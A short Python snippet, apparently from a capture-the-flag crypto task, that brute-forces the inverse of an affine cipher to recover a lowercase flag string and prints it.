flaglist.append(ord(i)-97)
flags = ""
for i in flaglist:
for j in range(0,26):
c = (17 * j - 8) % 26
if(c == i):
flags += chr(j+97)
print(flags)